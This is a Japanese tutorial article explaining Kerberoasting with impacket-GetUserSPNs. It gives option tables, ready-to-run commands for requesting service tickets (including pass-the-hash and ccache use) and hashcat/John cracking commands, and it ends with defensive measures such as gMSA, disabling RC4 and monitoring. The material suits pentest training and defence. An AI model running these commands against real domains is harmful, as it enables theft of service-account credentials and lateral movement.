Active Directory (AD) 環境におけるセキュリティ評価やペネトレーションテストにおいて、impacket-GetUserSPNs
(または GetUserSPNs.py
) は非常に強力なツールです。このツールは、Kerberoasting(ケルベロースティング)と呼ばれる攻撃手法を実行するために使用されます。
本記事では、GetUserSPNs
の基本的な使い方から応用的なオプション、そしてKerberoasting攻撃の仕組みと対策について、詳しく解説していきます。🕵️♂️
1. Kerberoasting攻撃とは? 🤔
GetUserSPNs
を理解するためには、まずKerberoasting攻撃について知る必要があります。
Kerberoastingは、Active Directory環境におけるポストエクスプロイト攻撃技術の一つです。ポストエクスプロイトとは、既に何らかの方法でドメイン内の一般ユーザーアカウントへのアクセス権限(認証情報など)を獲得した後に実行される攻撃を指します。
この攻撃の目的は、サービスプリンシパル名 (SPN) が設定されたユーザーアカウントに関連付けられたサービスチケット(TGSチケット)を取得し、そのチケットに含まれる暗号化された部分をオフラインでブルートフォース(総当たり)攻撃することによって、サービスアカウントのパスワードハッシュ、ひいては平文パスワードを解読することです。
SPNは、特定のサービス(例: MSSQLサービス、HTTPサービスなど)がどのユーザーアカウントまたはコンピューターアカウントによって実行されているかを識別するためのものです。通常、サービスアカウントには特定の権限が付与されていることが多く、攻撃者がこれらのアカウントのパスワードを解読できれば、権限昇格やラテラルムーブメント(横展開)に繋がる可能性があります。
Kerberoasting攻撃が特に危険視される理由は以下の通りです:
- 特別な権限が不要: ドメイン内の任意の有効なユーザーアカウント(一般ユーザーで十分)があれば実行可能です。
- 検出が比較的困難: 正当なKerberosチケット要求プロセスを悪用するため、通常の認証トラフィックとの区別がつきにくい場合があります。
- オフラインでのパスワードクラック: 取得したチケットは攻撃者の手元で時間をかけて解析できるため、オンラインでのロックアウトなどを心配する必要がありません。
この攻撃手法は、2014年にTim Medin氏によって発見・発表されました。
2. impacket と GetUserSPNs
Impacketは、ネットワークプロトコルを扱うためのPythonクラスのコレクションです。SMB、MSRPC、NTP、IP、UDP、TCPなどの低レベルなプロトコルから、SMB1/2/3やKerberosなどの高レベルなプロトコルまで、幅広くサポートしています。特にWindowsネットワーク環境における様々な操作や攻撃手法を実装したスクリプト(examples)が多数含まれており、ペネトレーションテスターやセキュリティ研究者にとって必須のツールキットとなっています。
GetUserSPNs.py
(Kali Linuxなどではimpacket-GetUserSPNs
というラッパーコマンドとして提供されることが多い)は、Impacketに含まれるスクリプトの一つで、前述のKerberoasting攻撃を実行するために特化しています。
主な機能は以下の通りです:
- Active DirectoryにLDAPで接続し、SPNが設定されているユーザーアカウントを検索する。(無効化されたアカウントや、パスワードクラックが現実的でないマシンアカウントは除外されることが多い)
- 発見されたSPNを持つアカウントに対して、Kerberosプロトコルを用いてTGS(Ticket Granting Service)チケットの発行を要求する。
- 取得したTGSチケットを、John the RipperやHashcatなどのパスワードクラックツールで解析可能な形式で出力する。
3. GetUserSPNs の使い方 🛠️
GetUserSPNs
を使用するには、まずImpacketがインストールされている必要があります。Kali Linuxなどのペネトレーションテスト用OSには、多くの場合プリインストールされています。
基本的なコマンド構文は以下のようになります。
impacket-GetUserSPNs [オプション] <ドメイン>/<ユーザー名>[:パスワード]
または、Pythonスクリプトを直接実行する場合:
python GetUserSPNs.py [オプション] <ドメイン>/<ユーザー名>[:パスワード]
必須引数
引数 | 説明 | 例 |
---|---|---|
<ドメイン>/<ユーザー名>[:パスワード] |
ターゲットのドメイン、認証に使用するユーザー名、およびそのパスワード(または他の認証情報と組み合わせる場合はユーザー名のみ)を指定します。 パスワードを省略すると、通常はプロンプトが表示されて入力を求められます( -no-pass オプションを使用しない場合)。
|
CONTOSO.LOCAL/testuser:Password123 CONTOSO/lowprivuser |
主要なオプション
オプション | 説明 |
---|---|
-request |
このオプションを指定すると、発見されたSPNに対して実際にTGSチケットの発行を要求し、クラック可能な形式で出力します。Kerberoasting攻撃を行う場合は必須です。 このオプションがない場合、SPNが設定されているアカウントをリストアップするだけで、チケット要求は行いません(偵察目的)。 |
-dc-ip <IPアドレス> |
ターゲットドメインのドメインコントローラー(KDC)のIPアドレスを明示的に指定します。 省略した場合、引数で指定されたドメイン名(FQDNである必要がある)からDNS解決を試みます。DNS設定が正しくない場合や、特定のDCをターゲットにしたい場合に指定します。 |
-outputfile <ファイル名> |
取得したハッシュ(TGSチケット)を指定したファイルに出力します。指定しない場合は標準出力に表示されます。大量のハッシュを取得する場合に便利です。 |
-usersfile <ファイル名> |
SPNを検索する対象ユーザーをリストしたファイルを指定します(1行に1ユーザー名)。ドメイン名を含める必要はありません。特定のユーザーアカウントのみを対象にしたい場合に使用します。 |
認証に関するオプション
パスワードだけでなく、NTLMハッシュやKerberosチケット(Pass-the-Ticketなど)を使用した認証も可能です。
オプション | 説明 | 形式/例 |
---|---|---|
-hashes <LMハッシュ>:<NTハッシュ> |
NTLM認証(Pass-the-Hash)に使用するLMハッシュおよびNTハッシュを指定します。 LMハッシュは省略可能です。NTハッシュのみを指定する場合は、先頭にコロン : を付けます。
|
-hashes :AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0 -hashes :5f4b[...]9a5f (NTのみ) |
-aesKey <16進数キー> |
Kerberos認証に使用するAES128またはAES256の長期キー(16進数文字列)を指定します。Pass-the-Key攻撃などで利用します。 | -aesKey 0123[...]def |
-k |
Kerberos認証を使用することを示します。このオプションを使用する場合、GetUserSPNs は環境変数 KRB5CCNAME で指定されたKerberosチケットキャッシュファイル(ccache)から認証情報を取得しようとします。有効なチケットが見つからない場合や変数が設定されていない場合は、引数で指定されたパスワード(平文Kerberos認証)または -hashes で指定されたNTハッシュ(RC4暗号化キーとして使用)が利用されます。
|
export KRB5CCNAME=/tmp/user.ccache; impacket-GetUserSPNs -k CONTOSO/ |
-no-pass |
パスワードプロンプトを表示させたくない場合(例:空パスワード、-k オプションと併用)に指定します。 |
impacket-GetUserSPNs -k -no-pass CONTOSO/ |
その他の便利なオプション
オプション | 説明 |
---|---|
-debug |
デバッグ情報を詳細に出力します。問題発生時のトラブルシューティングに役立ちます。 |
-ts |
出力の各行にタイムスタンプを追加します。ログ記録に便利です。 |
-save |
要求したTGSチケットをディスクにccache形式で保存します。Pass-the-Cache攻撃などに利用できます。このオプションは自動的に -request を有効にします。 |
-target-domain <ドメイン名> |
SPNを検索する対象アカウントのドメインを指定します。フォレスト内の別ドメインのアカウントをターゲットにする場合(トラスト関係が必要)に便利です。省略時は認証ユーザーと同じドメインが対象となります。 |
-no-preauth |
事前認証 (Pre-Authentication) を必要としないアカウント (AS-REP Roasting 脆弱性を持つアカウント) を利用して Kerberoasting を実行する場合に指定します。これにより、AS-REQ を介してサービスチケットを要求できます。 |
実行例
例1:パスワード認証でKerberoastingを実行し、結果をファイルに出力
impacket-GetUserSPNs -request -dc-ip 192.168.1.100 -outputfile kerberoastable_hashes.txt CONTOSO.LOCAL/testuser:Password123
例2:NTLMハッシュ (Pass-the-Hash) でKerberoastingを実行
impacket-GetUserSPNs -request -dc-ip 192.168.1.100 -hashes :31D6CFE0D16AE931B73C59D7E0C089C0 CONTOSO.LOCAL/svc_account
例3:Kerberosチケットキャッシュを使用してKerberoastingを実行
export KRB5CCNAME=/tmp/victim.ccache
impacket-GetUserSPNs -request -k -no-pass -dc-ip 192.168.1.100 CONTOSO.LOCAL/
例4:特定のユーザーリストに対してSPNを持つアカウントを検索(チケット要求はしない)
impacket-GetUserSPNs -usersfile target_users.txt -dc-ip 192.168.1.100 CONTOSO.LOCAL/testuser:Password123
4. 出力結果の解析とパスワードクラック 🔓
-request
オプションを指定して GetUserSPNs
を実行すると、以下のような形式でTGSチケットが出力されます(John the Ripper や Hashcat で扱える形式)。
$krb5tgs$23$*service_account$CONTOSO.LOCAL$HTTP/webserver.contoso.local* SGE [...] F0A
$krb5tgs$23$*mssql_svc$CONTOSO.LOCAL$MSSQLSvc/sqlserver.contoso.local:1433* SGE [...] ABC
この出力は、以下のような情報を含んでいます。
$krb5tgs$
: チケットの種類を示すシグネチャ。23
: 暗号化タイプ (etype)。23は RC4-HMAC を示します。他のタイプ(例: AES)も存在します。*service_account$CONTOSO.LOCAL*
: サービスを実行しているアカウント名とドメイン。HTTP/webserver.contoso.local
: 要求されたSPN。SGE[...]F0A
: 暗号化されたTGSチケットデータの一部(チェックサムと暗号化部分)。これがクラック対象です。
これらのハッシュ(チケット)は、オフラインのパスワードクラッキングツールで解析できます。
Hashcat を使用する場合
Hashcatでは、Kerberos 5 TGS-REP etype 23 (RC4-HMAC-MD5) はモード 13100
に対応します。
# kerberoastable_hashes.txt に保存されたハッシュを辞書ファイル rockyou.txt でクラック
hashcat -m 13100 kerberoastable_hashes.txt /usr/share/wordlists/rockyou.txt
John the Ripper を使用する場合
John the Ripper は通常、フォーマットを自動検出しますが、明示的に指定することも可能です (--format=krb5tgs
)。
# kerberoastable_hashes.txt を辞書ファイル rockyou.txt でクラック
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoastable_hashes.txt
クラックに成功すると、サービスアカウントの平文パスワードが明らかになります。サービスアカウントのパスワードは、通常のユーザーアカウントよりも複雑性が低い、または変更頻度が低い場合があり、比較的短時間でクラックされる可能性があります。
5. Kerberoasting攻撃への対策🛡️
Kerberoasting攻撃のリスクを軽減するためには、以下のような対策が有効です。
-
強力なパスワードポリシーの適用 (特にサービスアカウント):
- 長さ: 25文字以上の、長く複雑なパスワードを使用する。
- ランダム性: 辞書にある単語や単純なパターンを避け、ランダムに生成されたパスワードを使用する。
- 定期的な変更: パスワードを定期的に(例: 30日ごとなど)変更する。特に、ユーザーアカウントに紐づくSPNのパスワードは狙われやすいため重要です。
- パスワードの再利用禁止: 他のアカウントと同じパスワードを使い回さない。
マシンアカウントのパスワードは通常、非常に長くランダムであるため、Kerberoastingに対しては比較的安全です。
-
グループ管理サービスアカウント (gMSA) の利用:
gMSA (Group Managed Service Accounts) は、パスワード管理を自動化し、人間がパスワードを設定・管理する必要をなくします。これにより、推測されやすいパスワードや長期間変更されないパスワードのリスクを大幅に低減できます。
-
SPNの棚卸しと最小権限の原則:
- 不要なSPNが設定されていないか定期的に確認し、削除する。
- SPNが設定されているアカウント(特にユーザーアカウント)には、必要最小限の権限のみを付与する。
- Domain Adminsなどの高権限アカウントには、原則としてSPNを紐づけない。
-
弱い暗号化方式 (RC4) の無効化または制限:
可能であれば、Kerberos認証でAESなどのより強力な暗号化方式のみを許可し、RC4-HMAC (etype 23) の使用を制限または無効化する。ただし、互換性の問題が発生する可能性があるため、慎重な検討とテストが必要です。
-
監視と検出:
- 異常なTGSチケット要求を監視する。例えば、短期間に特定のユーザーから大量のTGS要求がある場合や、RC4暗号化タイプでのチケット要求が異常に多い場合などは、Kerberoastingの兆候である可能性があります。
- セキュリティ情報イベント管理 (SIEM) ツールやエンドポイント検出応答 (EDR) ソリューションを活用し、不審なKerberosアクティビティや
GetUserSPNs
のようなツールの実行を検出する。 - Rapid7 InsightIDRなどのツールは、ユーザーアクティビティのベースラインを作成し、異常検知に役立ちます。
6. まとめ
impacket-GetUserSPNs
は、Active Directory環境におけるKerberoasting攻撃を効率的に実行するための強力なツールです。SPNが設定されたユーザーアカウントのTGSチケットを取得し、オフラインでのパスワードクラックを可能にします。
このツールを理解し、正しく使用することは、ペネトレーションテスターやセキュリティ担当者にとって重要ですが、同時に、その攻撃手法に対する防御策を講じることも不可欠です。強力なパスワードポリシー、gMSAの利用、SPNの適切な管理、そして監視体制の強化により、Kerberoasting攻撃のリスクを大幅に軽減することができます。
セキュリティは常に攻撃と防御のせめぎ合いです。ツールの使い方を学ぶとともに、その背景にある技術や対策についても理解を深めることが、より安全な環境を構築するための鍵となります。 ✨
コメント